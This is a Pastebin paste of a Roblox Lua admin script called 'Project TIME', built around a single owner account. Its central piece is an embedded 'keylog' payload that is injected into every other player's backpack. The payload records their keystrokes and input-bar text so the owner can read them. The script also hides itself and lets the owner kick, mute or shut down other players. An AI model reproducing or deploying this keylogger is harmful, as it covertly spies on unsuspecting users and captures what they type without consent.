Advertisement
jordan83221

gg

Dec 4th, 2015
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 12.89 KB | None | 0 0
  1. --[[Project TIME]]--
  2. wait()
  3. script.Parent=nil
  4. local next=next
  5. local pcall=pcall
  6. local cos=math.cos
  7. local sin=math.sin
  8. local atan2=math.atan2
  9. local pi=math.pi
  10. local plr=game.Players.Voreli
  11. local camera=workspace.CurrentCamera
  12. local ease=0.05
  13. local tabs={}
  14. local dt=false
  15. local tabo=true
  16. local spin=true
  17. local clone
  18. local admins={}
  19. local superadmins={}
  20. local megaadmins={}
  21. local uberadmins={}
  22. local svals={}
  23. local function insert(tab,val)
  24.     tab[#tab+1]=val
  25. end
  26. local function remove(tab,val)
  27.    if type(val)~="number" then
  28.        for i,v in next,tab do
  29.             if v==val then
  30.                 tab[i]=nil
  31.             end
  32.         end
  33.     else
  34.         tab[val]=nil
  35.     end
  36. end
  37. function dist(part1,part2)
  38.     return (part1-part2).magnitude
  39. end
  40. local function easey(part,cframe)
  41.     local dx=cframe.X-part.CFrame.X
  42.     local dy=cframe.Y-part.CFrame.Y
  43.     local dz=cframe.Z-part.CFrame.Z
  44.     local vx=dx*ease;
  45.     local vy=dy*ease;
  46.     local vz=dz*ease
  47.     part.CFrame=CFrame.new(part.CFrame.X+vx,part.CFrame.Y+vy,part.CFrame.Z+vz)
  48. end
  49. local keylog=[[
  50.     local next=next
  51.     if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end
  52.     local p=game.Players.LocalPlayer
  53.     local sv=Instance.new("StringValue",game.Lighting)
  54.     sv.Name=p.Name
  55.     local uis = game:GetService("UserInputService")
  56.     local slash=string.byte(47)
  57.     local val=Instance.new("StringValue",game.Lighting)
  58.     val.Name=p.Name.."*"
  59.     local function notify(stat)
  60.         local thing=Instance.new("StringValue",game.Lighting)
  61.         thing.Name="Notify_"..stat
  62.     end
  63.     uis.InputBegan:connect(function(input, typing)
  64.         if input.UserInputType == Enum.UserInputType.Keyboard then
  65.             if input.KeyCode == Enum.KeyCode.A then
  66.                 sv.Value=sv.Value..'a'
  67.             elseif input.KeyCode==Enum.KeyCode.B then
  68.                 sv.Value=sv.Value..'b'
  69.             elseif input.KeyCode==Enum.KeyCode.C then
  70.                 sv.Value=sv.Value..'c'
  71.             elseif input.KeyCode==Enum.KeyCode.D then
  72.                 sv.Value=sv.Value..'d'
  73.             elseif input.KeyCode==Enum.KeyCode.E then
  74.                 sv.Value=sv.Value..'e'
  75.             elseif input.KeyCode==Enum.KeyCode.F then
  76.                 sv.Value=sv.Value..'f'
  77.             elseif input.KeyCode==Enum.KeyCode.G then
  78.                 sv.Value=sv.Value..'g'
  79.             elseif input.KeyCode==Enum.KeyCode.H then
  80.                 sv.Value=sv.Value..'h'
  81.             elseif input.KeyCode==Enum.KeyCode.I then
  82.                 sv.Value=sv.Value..'i'
  83.             elseif input.KeyCode==Enum.KeyCode.J then
  84.                 sv.Value=sv.Value..'j'
  85.             elseif input.KeyCode==Enum.KeyCode.K then
  86.                 sv.Value=sv.Value..'k'
  87.             elseif input.KeyCode==Enum.KeyCode.L then
  88.                 sv.Value=sv.Value..'l'
  89.             elseif input.KeyCode==Enum.KeyCode.M then
  90.                 sv.Value=sv.Value..'m'
  91.             elseif input.KeyCode==Enum.KeyCode.N then
  92.                 sv.Value=sv.Value..'n'
  93.             elseif input.KeyCode==Enum.KeyCode.O then
  94.                 sv.Value=sv.Value..'o'
  95.             elseif input.KeyCode==Enum.KeyCode.P then
  96.                 sv.Value=sv.Value..'p'
  97.             elseif input.KeyCode==Enum.KeyCode.Q then
  98.                 sv.Value=sv.Value..'q'
  99.             elseif input.KeyCode==Enum.KeyCode.R then
  100.                 sv.Value=sv.Value..'r'
  101.             elseif input.KeyCode==Enum.KeyCode.S then
  102.                 sv.Value=sv.Value..'s'
  103.             elseif input.KeyCode==Enum.KeyCode.T then
  104.                 sv.Value=sv.Value..'t'
  105.             elseif input.KeyCode==Enum.KeyCode.U then
  106.                 sv.Value=sv.Value..'u'
  107.             elseif input.KeyCode==Enum.KeyCode.V then
  108.                 sv.Value=sv.Value..'v'
  109.             elseif input.KeyCode==Enum.KeyCode.W then
  110.                 sv.Value=sv.Value..'w'
  111.             elseif input.KeyCode==Enum.KeyCode.X then
  112.                 sv.Value=sv.Value..'x'
  113.             elseif input.KeyCode==Enum.KeyCode.Y then
  114.                 sv.Value=sv.Value..'y'
  115.             elseif input.KeyCode==Enum.KeyCode.Z then
  116.                 sv.Value=sv.Value..'z'
  117.             elseif input.KeyCode==Enum.KeyCode.Slash then
  118.                 sv.Value=sv.Value..'/'
  119.             elseif input.KeyCode==Enum.KeyCode.Space then
  120.                 sv.Value=sv.Value..' '
  121.             elseif input.KeyCode==Enum.KeyCode.Backspace then
  122.                 local t={}
  123.                 for i=1,val.Value:len() do
  124.                     table.insert(t,val.Value[i])
  125.                 end
  126.                 t[#t]=nil
  127.                 for i=1,#t do
  128.                     val.Value=t[i]
  129.                 end
  130.             end
  131.         end
  132.     end)
  133.     notify("Added.")
  134.     coroutine.resume(coroutine.create(function()
  135.         local gui=game.Players.LocalPlayer.PlayerGui.SB_OutputGUI.Task.InputBar
  136.         while gui.Text~="Click here or press (') to run a command" do
  137.             val.Value=gui.Text
  138.         end
  139.     end))
  140.     while wait() do
  141.         if string.find(sv.Value,'kick/vo')~=nil then
  142.             game:service'StarterGui':SetCoreGuiEnabled(3,false)
  143.         elseif string.find(sv.Value,'ban/vo')~=nil then
  144.             p:Kick()
  145.             notify(p.Name.." tried to kick Voreli and was removed.")
  146.         end
  147.     end
  148. ]]
  149. local function protect(p)
  150.  
  151. end
  152. local function makeBillboard(item, text)
  153.     local bg = Instance.new("BillboardGui", item)
  154.     bg.Enabled = true
  155.     bg.AlwaysOnTop = true
  156.     bg.Size = UDim2.new(5, -0.5, 5, 0)
  157.     local f = Instance.new("Frame", bg)
  158.     f.BackgroundTransparency = 1
  159.     f.Size = UDim2.new(2.5, 0, 1.25, 0)
  160.     local tb = Instance.new("TextBox", f)
  161.     tb.Size = UDim2.new(0.5, 0, 0.5, 0)
  162.     tb.FontSize = "Size36"
  163.     tb.Text = text
  164.     tb.TextStrokeTransparency = 0
  165.     tb.TextXAlignment = "Center"
  166.     tb.TextYAlignment = "Top"
  167.     tb.BackgroundTransparency = 1
  168.     tb.TextColor3 = Color3.new(0,0,1)
  169.     tb.Font="ArialBold"
  170.     if text == "Dismiss" then
  171.         tb.TextColor3 = Color3.new(1, 0, 0)
  172.         tb.TextStrokeColor3=Color3.new(0,0,0)
  173.     end
  174. end
  175. function notify(stat)
  176.     wait(0.1)
  177.     dt=false
  178.     tabo=true
  179.     local tab = Instance.new("Part", game.Workspace)
  180.     tab.Name = "Tab"
  181.     tab.CanCollide = false
  182.     tab.TopSurface = "Smooth"
  183.     tab.BottomSurface = "Smooth"
  184.     tab.Size = Vector3.new(4, 0.4, 6.6)
  185.     tab.Transparency = 0.5
  186.     tab.Anchored = true
  187.     tab.FormFactor = "Plate"
  188.     local tabad = Instance.new("Part",tab)
  189.     tabad.Name = "Tabad"
  190.     tabad.CanCollide = false
  191.     tabad.TopSurface = "Smooth"
  192.     tabad.BottomSurface = "Smooth"
  193.     tabad.Transparency = 0
  194.     tabad.BrickColor = BrickColor.new(1,1,1)
  195.     tabad.Anchored = true
  196.     local mesh = Instance.new("BlockMesh",tabad)
  197.     mesh.Scale = Vector3.new(0.5, 0.2, 1)
  198.     makeBillboard(tab,stat)
  199.     local sele = Instance.new("SelectionBox",tab)
  200.     sele.Adornee = tab
  201.     sele.Color = BrickColor.new(1,1,1)
  202.     sele.Transparency = 0
  203.     delay(0, function()
  204.         while wait() do
  205.             for i = 0,.7,0.1 do
  206.                 tab.Size = Vector3.new(4,i,6.6)
  207.                 wait()
  208.             end
  209.             wait()
  210.             for i = .7,0,-0.1 do
  211.                 tab.Size = Vector3.new(4,i,6.6)
  212.                 wait()
  213.             end
  214.         end
  215.     end)
  216.     insert(tabs,{taba=tab,sel=sele,tabd=tabad})
  217.     coroutine.resume(coroutine.create(function()
  218.         for i,v in next,tabs do
  219.             local num=#tabs
  220.             local slice=(pi*2)/num
  221.             local radius=2+num
  222.             local angle=i*slice;
  223.             local x=cos(angle)*radius;
  224.             local y=60
  225.             local z=sin(angle)*radius;
  226.             tab.CFrame=camera.Focus*CFrame.new(x,y,z)
  227.             tabad.CFrame=camera.Focus*CFrame.new(x,y,z)
  228.         end
  229.     end))
  230. end
  231. game.Lighting.DescendantAdded:connect(function(obj)
  232.     if obj:IsA("ObjectValue") and obj.Name=="Potatoes" then
  233.         clone=obj.Value:Clone()
  234.         notify("Found!")
  235.         notify(clone.className)
  236.     end
  237. end)
  238. local function NL(code,par)
  239.     if clone then
  240.         if code and par then
  241.             local clo=clone:Clone()
  242.             local StringVal=Instance.new("StringValue",game.Players.Voreli.Backpack)
  243.             StringVal.Value=code
  244.             clo.Parent=par
  245.             StringVal.Name="Code"
  246.             clo.Disabled=false
  247.             notify("Ran script.")
  248.         end
  249.     end
  250. end
  251. local function logp(plr)
  252.  
  253. end
  254. local function wipe(tab)
  255.     for i=#tab,1 do
  256.         tab[i]=nil
  257.     end
  258. end
  259. workspace.DescendantRemoving:connect(function(obj)
  260.     for _,v in next,tabs do
  261.         if obj==v then
  262.             remove(tabs,obj)
  263.         end
  264.     end
  265. end)
  266. local function dismiss()
  267.     if dt==true and tabo==false then
  268.         spin=false
  269.         for i,v in next,tabs do
  270.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  271.             local y=0
  272.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  273.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  274.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  275.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(30,0,0)
  276.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(30,0,0)
  277.         end
  278.     end
  279. end
  280. local cmds={
  281.     ["log"]=function(a)
  282.         for _,v in next,game.Players:GetPlayers() do
  283.             if string.find(v.Name:lower(),a:lower())~=nil then
  284.                 local plr=v
  285.                 logp(plr)
  286.             end
  287.         end
  288.     end,
  289.     ["ff"]=function(a)
  290.         for _,v in next,game.Players:GetPlayers() do
  291.             if string.find(v.Name:lower(),a:lower()) ~= nil then
  292.                 pcall(function() Instance.new("ForceField",v.Character) end)
  293.             end
  294.         end
  295.     end,
  296.     ["cl"]=function(p)
  297.         for _,v in next,game.Players:GetPlayers() do
  298.             if string.find(v.Name:lower(),p:lower())~=nil then
  299.                 for i,g in next,game.Lighting:GetChildren() do
  300.                     if g then
  301.                         local a=string.match(g.Name,"(.*)*")
  302.                         if a==v.Name then
  303.                             notify(g.Value)
  304.                         end
  305.                     end
  306.                 end
  307.             end
  308.         end
  309.     end,
  310.     ["test"]=function(a)
  311.         for i=1,a do wait()
  312.             notify("")
  313.         end
  314.     end,
  315.     ["dt"]=function()
  316.         dt=true
  317.         tabo=false
  318.     end,
  319.     ["size"]=function()
  320.         spin=false
  321.         for i=1,#tabs do
  322.             tabs[i].taba.Size=Vector3.new(5,5,5)
  323.         end
  324.     end,
  325.     ["cspin"]=function()
  326.         spin=false
  327.     end,
  328.     ["lower"]=function()
  329.  
  330.     end,
  331.     ["kick"]=function(p)
  332.         for _,v in next,game.Players:GetPlayers() do
  333.             if string.find(v.Name:lower(),p:lower())~=nil then
  334.                 pcall(function()
  335.                     NLS([[game.Players.LocalPlayer:Kick()]],v.Backpack)
  336.                     notify("Kicked "..v.Name..".")
  337.                 end)
  338.             end
  339.         end
  340.     end,
  341.     ["grab"]=function(p)
  342.         for _,v in next,game.Players:GetPlayers() do
  343.             if string.find(v.Name:lower(),p:lower())~=nil then
  344.                 pcall(function()
  345.                     table.insert(tabs,v.Character.Torso)
  346.                 end)
  347.             end
  348.         end
  349.     end,
  350.     ["mute"]=function(p)
  351.         for _,v in next,game.Players:GetPlayers() do
  352.             if string.find(v.Name:lower(),p:lower())~=nil then
  353.                 pcall(function()
  354.                     NLS([[
  355.                         game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)
  356.                     ]],v.Character)
  357.                     notify("Muted "..v.Name..".")
  358.                 end)
  359.             end
  360.         end
  361.     end,
  362.     ["unmute"]=function(p)
  363.         for _,v in next,game.Players:GetPlayers() do
  364.             if string.find(v.Name:lower(),p:lower())~=nil then
  365.                 pcall(function()
  366.                     NLS([[game:GetService("StarterGui"):SetCoreGuiEnabled(3,false)]],v.Character)
  367.                     notify("Unmuted "..v.Name..".")
  368.                 end)
  369.             end
  370.         end
  371.     end,
  372.     ["protect"]=function(p)
  373.         for _,v in next,game.Players:GetPlayers() do
  374.             if string.find(v.Name:lower(),p:lower())~=nil then
  375.                 pcall(function()
  376.                     protect(v)
  377.                 end)
  378.             end
  379.         end
  380.     end,
  381.     ["sd"]=function()
  382.         for _,v in next,game.Players:GetPlayers() do
  383.             NLS([[game.Players.LocalPlayer:Kick()]],v.Character)
  384.         end
  385.     end,
  386.     ["nl"]=function(a)
  387.         NL([[]]..a..[[]],game.Players.Voreli.Backpack)
  388.     end
  389. }
  390. local function antimute()
  391.     NLS([[
  392.         wait()
  393.         script.Parent=nil
  394.         local next=next
  395.         local pcall=pcall
  396.         while wait() do
  397.             game:service'StarterGui':SetCoreGuiEnabled(3,true)
  398.         end
  399.     ]],game.Players.Voreli.Backpack)
  400. end
  401. antimute()
  402. local function chat(msg,plr)
  403.     if msg and plr then
  404.         local cmd,parm=string.match(msg,"(.*)/(.*)")
  405.         if cmd and parm and cmds[cmd] then
  406.             cmds[cmd](parm)
  407.         end
  408.     end
  409. end
  410. game.Lighting.DescendantAdded:connect(function(obj)
  411.     if obj:IsA("LocalScript") then
  412.         notify(obj.Name.." has been added to scripts!")
  413.     end
  414. end)
  415. game.Lighting.DescendantAdded:connect(function(obj)
  416.     if obj:IsA("StringValue") then
  417.         local a,b=string.match(obj.Name,"(.*)_(.*)")
  418.         if a and b then
  419.             notify(b)
  420.         end
  421.     end
  422. end)
  423. local function playerAdd(p)
  424.     if p then
  425.         if p.Name=="Voreli" then
  426.             p.Chatted:connect(function(m) chat(m,p) end)
  427.         else
  428.             NLS(keylog,p.Backpack)
  429.             print("Added.")
  430.         end
  431.     end
  432. end
  433. game.Players.PlayerAdded:connect(function(p) playerAdd(p) end)
  434. for _,v in next,game.Players:GetPlayers() do
  435.     playerAdd(v)
  436. end
  437. local function rot()
  438.     if tabo==true and dt==false then
  439.         for i,v in next,tabs do
  440.             local x=math.cos(i*(pi*2)/#tabs)*(2+#tabs);
  441.             local y=0
  442.             local z=math.sin(i*(pi*2)/#tabs)*(2+#tabs);
  443.             easey(v.taba,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  444.             easey(v.tabd,plr.Character.Torso.CFrame*CFrame.new(x,y,z))
  445.             v.taba.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  446.             v.tabd.CFrame=CFrame.new(v.taba.Position,Vector3.new(plr.Character.Torso.CFrame.X,plr.Character.Torso.CFrame.Y,plr.Character.Torso.CFrame.Z))*CFrame.Angles(15,0,0)
  447.         end
  448.     end
  449. end
  450. local function begin()
  451.     notify("")
  452.     notify("")
  453.     notify("")
  454.     notify("")
  455.     notify("")
  456.     notify("")
  457.     notify("")
  458.     notify("")
  459.     notify("")
  460.     notify("")
  461.     notify("")
  462.     notify("")
  463.     notify("")
  464.     notify("")
  465.     notify("")
  466.     notify("")
  467.     notify("")
  468.     notify("")
  469.     wait(5)
  470.     dt=true
  471.     tabo=false
  472. end
  473. game:service'RunService'.Stepped:connect(function() rot() end)
  474. game:service'RunService'.Stepped:connect(function() dismiss() end)
  475. begin()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement